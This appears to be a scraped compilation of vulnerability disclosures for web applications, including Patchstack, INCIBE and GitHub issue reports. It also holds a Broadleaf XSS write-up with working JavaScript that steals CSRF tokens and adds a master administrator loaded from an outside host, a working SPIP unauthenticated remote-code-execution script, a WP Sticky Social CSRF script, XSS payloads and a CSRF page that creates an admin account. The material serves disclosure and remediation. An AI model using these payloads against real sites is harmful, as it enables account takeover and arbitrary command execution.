Cross-Site Request Forgery (CSRF) vulnerability in WooCommerce PayPal Payments plugin <= 2.0.4 versions.

**Solution**

Fixed 

Update the WordPress WooCommerce PayPal Payments plugin to the latest available version (at least 2.0.5).

Found this useful? Thank Rafie Muhammad (Patchstack) for reporting this vulnerability. Buy a coffee ☕

Rafie Muhammad (Patchstack) discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress WooCommerce PayPal Payments Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has been fixed in version 2.0.5.

**No other known vulnerabilities for this plugin**Report

**Report to Patchstack Alliance bounty platform and earn monthly cash prizes.**

Learn more

CVE-2023-35917: WordPress WooCommerce PayPal Payments plugin <= 2.0.4 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Broadleaf 5.x and 6.x (including 5.2.25-GA and 6.2.6-GA) was discovered to contain a cross-site scripting (XSS) vulnerability via a customer signup with a crafted email address. This is fixed in 6.2.6.1-GA.

**CVE-2023-33725 XSS Vulnerability leading to Admin Account on Broadleaf ECommerce Sites****Broadleaf Background Info**

Broadleaf is a Open source/Commerical E Commerce framework based on Spring/Thymeleaf Broadleaf Commerce All work below is done on their Demo application, but the vulnerabilities are in the underlying framework, the demo site is a thin layer built on top of the Broadleaf framework to showcase it.GitHub - BroadleafCommerce/DemoSite: The Broadleaf Heat Clinic Spring Boot application

The site is split into 2 different applications I'm focussing on.

**Site** : Which is the customer facing storefront.

**Admin** : Which is the backend admin interface used to administer the store, add/remove items, change prices etc.

**Burptrast** The Burptrast plugin was used to find the initial vulnerability, the Broadleaf Demo application was instrumented with Assess, which is provided to Burp via the Burptrast plugin.

**Finding**

**TLDR;** CVE-2023-33725. A XSS Vulnerability in the email field allows JS injection within the checkout page of the Site. But more seriously the same vulnerability appears in the Admin site. Allowing a Customer to register with the website, with a email address containing a XSS attack, when a Admin logs into the Admin site and views the list of customers, the XSS is triggered, which in turn creates a new Admin user, allowing the attacker to login a site Admin.

**Remediation****Fix**

CVE-2023-33725 has been fixed in broadleaf-6.2.6.1-GA if you are using an earlier version it is important to update as soon as possible.

**Mitigation**

If you cannot upgrade your Ecommerce site quickly, it is possible to mitigate this vulnerability by enabling XSS protections provided by broadleaf ( They are not enabled by default )

exploitProtection.xssEnabled\=true
exploitProtection.xsrfEnabled\=true
blc.site.enable.xssWrapper\=true

Of if you have this enabled already, you are safe from this vulnerability.

**Setup****Configuration Files****Agent Config**

If you use either Docker or Manual you will first need a contrast\_security.yaml file. Details of how to do this are under the **contrast\_security.yaml** section of Contrast-Community-Edition.md Once you have the credentials from the config file, copy the **api :** section into the contrast\_security.yaml file in this directory and point the agent at that file.

**Burptrast Config**

Details of how to configure Burptrast are available under README.md

**Docker**

Once you have added your TeamServer Credentials to contrast\_security.yaml, details above. Run the following command docker commands from this directory.

    docker build -t cve-2023-33725 .
    docker run -p 8443:8443 -p 8444:8444 cve-2023-33725
    

The build command may take a few minutes to run. Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444

**Manual**

**Prerequisities**

*   Java 11
*   Maven
*   Git

Clone the Broadleaf Demo site from github.

**Checkout**

git clone https://github.com/BroadleafCommerce/DemoSite.git  Cd into the directory, roll back to the vulnerable version and build

    cd DemoSite
    git checkout 369d26c
    mvn clean install
    

**Add Assess**

Edit the pom.xml file under DemoSite/site/pom.xml

And modify the properties to

    <properties>
        <debug.port>8000</debug.port>
        <debug.args>-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:/location/to/assess/agent/jar/contrast-agent-4.13.1.jar -Dcontrast.config.path=/location/to/contrast/config/contrast_security.yaml</debug.args>
    </properties>
    

**\-javaagent** is the location of the contrast jar file. It can be downloaded fom maven https://repo1.maven.org/maven2/com/contrastsecurity/contrast-agent/4.13.1/contrast-agent-4.13.1.jar

**\-Dcontrast.config.path** is the location of the contast agent config file. This is used to configure and authenticate the agent against TeamServer.

**Build**

To build under DemoSite run the command mvn clean install Then to start up the site application run the following command from the DemoSite/site directory.

    cd site/
    mvn spring-boot:run
    

Once this has started up, from another terminal start up the admin application. This is run from the DemoSite/admin diretory.

    cd admin/
    mvn spring-boot:run
    

Once running you should be able to access the demo site under https://localhost:8443 And the admin site under https://localhost:8444

**Burptrast**

Full details of how to use Burptrast can be found here README.md

Once installed and configured, select the broadleaf-demo application from the list of applications and select update. You should see a large number of routes, these will be imported into the sitemap.

But before that, set the URL path to https localhost 8443 . As this is the URL we will be testing the application from. 

Then select Live Browse and Then Import Routes to Site Map. This will add all these routes to Burp’s sitemap making it easier for Burp to find vulnerabilities.

**Pentest****Finding the Vulnerability**

The Stored XSS vulnerability was first found by running a regular business flow of the site.

*   Select an Item
*   Add it to the Basket
*   Checkout as Guest
*   “Pay”

With Burptrast, findings in Assess triggered by a request from the Burp Proxy are automatically correlated with the session that made them and show up in Burp’s issue tab.

In this case the email address that was added at checkout, was tracked by Assess, saved to the underlying database, then on a following page it was returned to the user without any encoding to mitigate a potential XSS vulnerability.

**Verifying the Vulnerability**

While Assess showed that the value originating from a potential attacker, entered the database and was returned in a way that allows for a Stored XSS vulnerability, it could be that there are some validation or encoding that is done that Assess missed. Also as an email field, it is limited in what can be entered.

First, create a non guest customer account, this will be easier to verify this issue and more likely to be persistent than a guest user checkout.

Then once logged in we can edit the email address field on the profile. This XSS in a valid email address is from XSS in Email Login Fields:

"><svg/onload=alert(1)>"@gmail.com Which fails due to client side validation 

But by modifying a valid email change request in burp ( you need to use the url encoded version of the payload which is %60%22%3E%3Csvg%2Fonload%3Dalert%281%29%3E%22%40gmail.com%60 )

We bypass the client side validation and get  And we can verify the vulnerability by going to the checkout page.

**Exploiting the Vulnerability**

So we have a verified XSS Vulnerability, with which you can annoy yourself. But what else can it do?

There is a separate Admin site running on https://localhost:8444/admin

( default credentials for the demo site are admin:admin )

By going to customers page we immediately see that the admin site is vulnerable as it displays the signed up customer's email addresses and as this impacts the site admin we should be able to further leverage this XSS. 

**Creating an Admin Account via XSS**

Under https://localhost:8444/admin/user-management we have the ability of creating new admin users. 

This generates a POST request we can replicate within the XSS.

But there is an issue, there are two tokens within the request, a CSRFToken and StateVersionToken. If we want to create a new admin user we also need to find these tokens.

These tokens reside within the HTML of the generated page. So sending a GET request to /admin/user-management which doesn't change the application state and therefore doesn’t require a token, reveals the tokens.

function getTokenJS() {
    var xhr \= new XMLHttpRequest();
    xhr.responseType \= "document";
    xhr.open("GET", "/admin/user-management", true);
    xhr.onload \= function (e) {
        if (xhr.readyState \=== XMLHttpRequest.DONE && xhr.status \=== 200) {
            page \= xhr.response
            csrf \= page.getElementsByName("csrfToken");
            state \= page.getElementsByName("stateVersionToken");
            console.log("The token is: " + csrf\[0\].value);
            console.log("The state is: " + state\[0\].value);
            submitFormWithTokenJS(csrf\[0\].value, state\[0\].value);
        }
    };
    xhr.send(null);
}

This retrieves the CSRF and State tokens.

The next function takes the tokens and embeds them into the POST request to add the new admin user.

function submitFormWithTokenJS(token, state) {
    const username \= "backdooradmin";

    var xhr \= new XMLHttpRequest();
    xhr.open("POST", "/admin/user-management/add", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.responseType \= "document";
    xhr.onreadystatechange \= function() {
        if(xhr.readyState \=== XMLHttpRequest.DONE && xhr.status \=== 200) {
            console.log(xhr.responseURL)
            var result \= /\[^/\]\*$/.exec(xhr.responseURL)\[0\];
            addAdminAccess(token,state,result);
        }
    }
    xhr.send("ceilingEntityClassname=org.broadleafcommerce.openadmin.server.security.domain.AdminUser&entityType=org.broadleafcommerce.openadmin.server.security.domain.AdminUserImpl&id=&sectionCrumbs=&mainEntityName=&preventSubmit=false&jsErrorMapString=&fields%5B'name'%5D.value="+username+"&fields%5B'login'%5D.value="+username+"&fields%5B'email'%5D.value="+username+"%40example.com&fields%5B'phoneNumber'%5D.value=&fields%5B'password'%5D.value="+username+"&fields%5B'passwordConfirm'%5D.value="+username+"&fields%5B'activeStatusFlag'%5D.value=true&fields%5B'auditable\_\_createdBy'%5D.value=&fields%5B'auditable\_\_dateCreated'%5D.value-display=&fields%5B'auditable\_\_dateCreated'%5D.value=&fields%5B'auditable\_\_updatedBy'%5D.value=&fields%5B'auditable\_\_dateUpdated'%5D.value-display=&fields%5B'auditable\_\_dateUpdated'%5D.value=&csrfToken="+token+"&stateVersionToken="+state);
}

There is a 3rd step. While the above generates the admin user, its a admin account with no privileges.

The next step gives the admin user master admin privileges.

function addAdminAccess(token,state,path) {
    var xhr \= new XMLHttpRequest();
    xhr.open("POST", "/admin/user-management/"+path+"/allRoles/add", true);
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xhr.responseType \= "document";
    xhr.onreadystatechange \= function() {
        if(xhr.readyState \=== XMLHttpRequest.DONE && xhr.status \=== 200) {
      
        }
    }
    xhr.send("fields%5B'id'%5D.value=-1&fields%5B'description'%5D.value=Admin+Master+Access&fields%5B'\_\_adminMainEntity'%5D.value=ROLE\_ADMIN&csrfToken="+token+"&stateVersionToken="+state);
}

With this js file created, we just need to host it somewhere https://joebeeton.github.io/b.js

Then reference it in our original XSS by setting the customer email address to

"<script src='https://joebeeton.github.io/b.js' />"@ab.uk  ( you need to use the url encoded version of the payload which is %22%3Cscript%20src%3D%27https%3A%2F%2Fjoebeeton.github.io%2Fb.js%27%20%2F%3E%22%40ab.uk ) Then wait for an unsuspecting admin user to login, trigger the xss payload and generate the new admin account for us.  And from there the attacker can login with the credentials newadmin : newadmin as an admin and takeover the site.

CVE-2023-33725: Burptrast/docs/CVE-2023-33725 at main · Contrast-Security-OSS/Burptrast

WordPress WP Sticky Social plugin version 1.0.1 suffers from cross site request forgery and cross site scripting vulnerabilities.

    # Exploit Title: WP Sticky Social 1.0.1 - Cross-Site Request Forgery to Stored Cross-Site Scripting (XSS)#  Dork: inurl:~/admin/views/admin.php# Date: 2023-06-20# Exploit Author: Amirhossein Bahramizadeh# Category : Webapps# Vendor Homepage: https://wordpress.org/plugins/wp-sticky-social# Version: 1.0.1 (REQUIRED)# Tested on: Windows/Linux# CVE : CVE-2023-3320import requestsimport hashlibimport time# Set the target URLurl = "http://example.com/wp-admin/admin.php?page=wpss_settings"# Set the user agent stringuser_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"# Generate the nonce valuenonce = hashlib.sha256(str(time.time()).encode('utf-8')).hexdigest()# Set the data payloadpayload = {    "wpss_nonce": nonce,    "wpss_setting_1": "value_1",    "wpss_setting_2": "value_2",    # Add additional settings as needed}# Set the request headersheaders = {    "User-Agent": user_agent,    "Referer": url,    "Cookie": "wordpress_logged_in=1; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse%26uploader%3Dwp-plupload%26urlbutton%3Dfile; wp-settings-time-1=1495271983",    # Add additional headers as needed}# Send the POST requestresponse = requests.post(url, data=payload, headers=headers)# Check the response status codeif response.status_code == 200:    print("Request successful")else:    print("Request failed")

WordPress WP Sticky Social 1.0.1 CSRF / Cross Site Scripting

SPIP versions 4.2.1 and below suffer from an unauthenticated remote code execution vulnerability.

    #!/usr/bin/env python3# -*- coding: utf-8 -*-# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated)# Google Dork: inurl:"/spip.php?page=login"# Date: 19/06/2023# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372)# Vendor Homepage: https://www.spip.net/# Software Link: https://files.spip.net/spip/archives/# Version: < 4.2.1 (Except few fixed versions indicated in the description)# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0# CVE reference : CVE-2023-27372 (coiffeur)# CVSS : 9.8 (Critical)## Vulnerability Description:## SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the `oubli` parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges.## Usage: python3 CVE-2023-27372.py http://example.comimport argparseimport bs4import htmlimport requestsdef parseArgs():    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7")    parser.add_argument("-u", "--url", default=None, required=True, help="SPIP application base URL")    parser.add_argument("-c", "--command", default=None, required=True, help="Command to execute")    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")    return parser.parse_args()def get_anticsrf(url):    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10)    soup = bs4.BeautifulSoup(r.text, 'html.parser')    csrf_input = soup.find('input', {'name': 'formulaire_action_args'})    if csrf_input:        csrf_value = csrf_input['value']        if options.verbose:            print("[+] Anti-CSRF token found : %s" % csrf_value)        return csrf_value    else:        print("[-] Unable to find Anti-CSRF token")        return -1def send_payload(url, payload):    data = {        "page": "spip_pass",        "formulaire_action": "oubli",        "formulaire_action_args": csrf,        "oubli": payload    }    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data)    if options.verbose:        print("[+] Execute this payload : %s" % payload)    return 0if __name__ == '__main__':    options = parseArgs()    requests.packages.urllib3.disable_warnings()    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'    try:        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'    except AttributeError:        pass    csrf = get_anticsrf(url=options.url)    send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + len(options.command), options.command))

SPIP 4.2.1 Remote Code Execution

There is a CSRF vulnerability on Netman-204 version 02.05. An attacker could manage to change administrator passwords through a Cross Site Request Forgery due to the lack of proper validation on the CRSF token. This vulnerability could allow a remote attacker to access the administrator panel, being able to modify different parameters that are critical for industrial operations.

Affected Resources

Netman-204, version 02.05.

Description

INCIBE has coordinated the publication of a vulnerability in Riello UPS Netman-204, a network adapter, which has been discovered by David Cámara Galindo.

The following code has been assigned to this vulnerability:

*   **CVE-2022-3372**:
    *   CVSS v3.1 base score: 8.8.
    *   CVSS vector string: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
    *   Vulnerability type: CWE-352: _Cross-Site Request Forgery_ (CSRF).

Solution

There is still no solution for the reported vulnerability.

Detail

*   **CVE-2022-3372**: an attacker could manage to change the administrator passwords due to lack of proper validation in the CRSF token. This vulnerability could allow a remote attacker to access the administrator panel, being able to modify different parameters that are critical for industrial operations.

CVE-2022-3372: Cross Site Request Forgery Csrf Riello Ups Netman 204 | INCIBE-CERT

Cross Site Request Forgery vulnerability in GreenCMS v.2.3 allows an attacker to gain privileges via the adduser function of index.php.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2020-21366: There is a CSRF vulnerability that can add the administrator account · Issue #115 · GreenCMS/GreenCMS

Cross Site Request Forgery vulnerability in Neeke HongCMS 3.0.0 allows a remote attacker to execute arbitrary code and escalate privileges via the updateusers parameter.

CVE-2020-21252: User deletion caused by CSRF · Issue #13 · Neeke/HongCMS

Cross Site Request Forgery found in yzCMS v.2.0 allows a remote attacker to execute arbitrary code via the token check function.

Hello, I found a vulnerability in your application. I call it a denial of service attack caused by CSRF. The point of vulnerability is the URL rule configuration. When I use CSRF to configure an illegal rule for administrators, the access routing of the whole station will be changed. That is to say, it is totally inaccessible and the site is in 404 status. (Its priority is higher than the original admin/et al route).

Attacks are shown as follows:

No token check is used at the setup route.  
  
the poc is:

When the POC is executed, all routes of the site http://host/aaaaaa are directed to http://host/hack\_by\_laker

And we can define multiple routes in a link, so that all routes are customized and the whole station will crash so that it cannot be accessed.  
  
  
  

In Chinese：  
您好，我在您的应用程序上发现了一个漏洞，我称它为CSRF造成的拒绝服务攻击。漏洞的产生点在URL规则配置，当我利用CSRF让管理员配置一个不合法的规则，整个站的访问路由都将被改变。也就是完全无法访问，站点全部呈现404状态。（其优先级高于原本的admin/等路由）。  
攻击展示如下：  
  
the poc is:

在设置路由处未使用token校验，

并且我们可以在一个链接中定义多个路由，这样，所有的路由全部被自定义，整站将崩溃以致于无法访问：

CVE-2020-20502: Denial of service attack caused by CSRF(CSRF造成的拒绝服务攻击) · Issue #27 · yzmcms/yzmcms

Cross Site Scripting vulnerability found in wkeyuan DWSurvey 1.0 allows a remote attacker to execute arbitrary code via thequltemld parameter of the qu-multi-fillblank!answers.action file.

There is a Reflective XSS vulnerability when user view the survey result. The failure of the XSS filter to work properly resulted in this vulnerability， which allows remote attackers to inject arbitrary web script or stole admin's or other users cookies. The impact of the problem is serious especially when combined with CSRF vulnerability exploitation.

Vulnerability file:  
/diaowen/design/qu-multi-fillblank!answers.action

PoC:  
/diaowen/design/qu-multi-fillblank!answers.action?quItemId=2c9790db6c74f25f016c7536aed90022&surveyId=2c9790db6c74f25f016c7"><scr<script>ipt>alert('XSS');</script 200

CVE-2020-20070: [security vulnerability]  Reflective XSS when view the survey result · Issue #48 · wkeyuan/DWSurvey

Cross Site Request Forgery vulnerability in Gila GilaCMS v.1.11.4 allows a remote attacker to execute arbitrary code via the cm/update_rows/user parameter.

**CSRF vulnerability**  
There is a CSRF vulnerability to add an administrator account  
After the administrator logged in, open the following page  
**poc**  
Hack.html-----add an administrator accoun

    <html><body>
    <script type="text/javascript">
    function post(url,fields)
    {
    var p = document.createElement("form");
    p.action = url;
    p.innerHTML = fields;
    p.target = "_self";
    p.method = "post";
    p.enctype ="multipart/form-data";
    document.body.appendChild(p);
    p.submit();
    }
    function csrf_hack()
    {
    var fields;
    
    fields += "<input type='hidden' name='username' value='admin' />";
    fields += "<input type='hidden' name='email' value='1620449914&#64;qq&#46;com' />";  
    fields += "<input type='hidden' name='pass' value='admin' />";  
    fields += "<input type='hidden' name='userrole&#91;&#93;' value='1' />";  
    fields += "<input type='hidden' name='active' value='1' />";  
    var url = "http://192.168.0.103/cm/update_rows/user";
    post(url,fields);
    }
    window.onload = function() { csrf_hack();}
    </script>
    </body></html>
    
    

**Screenshots**  
1 Access dangerous pages  
  
  
2 Found that an administrator has been added  
  
**Impact version**

Tag

#csrf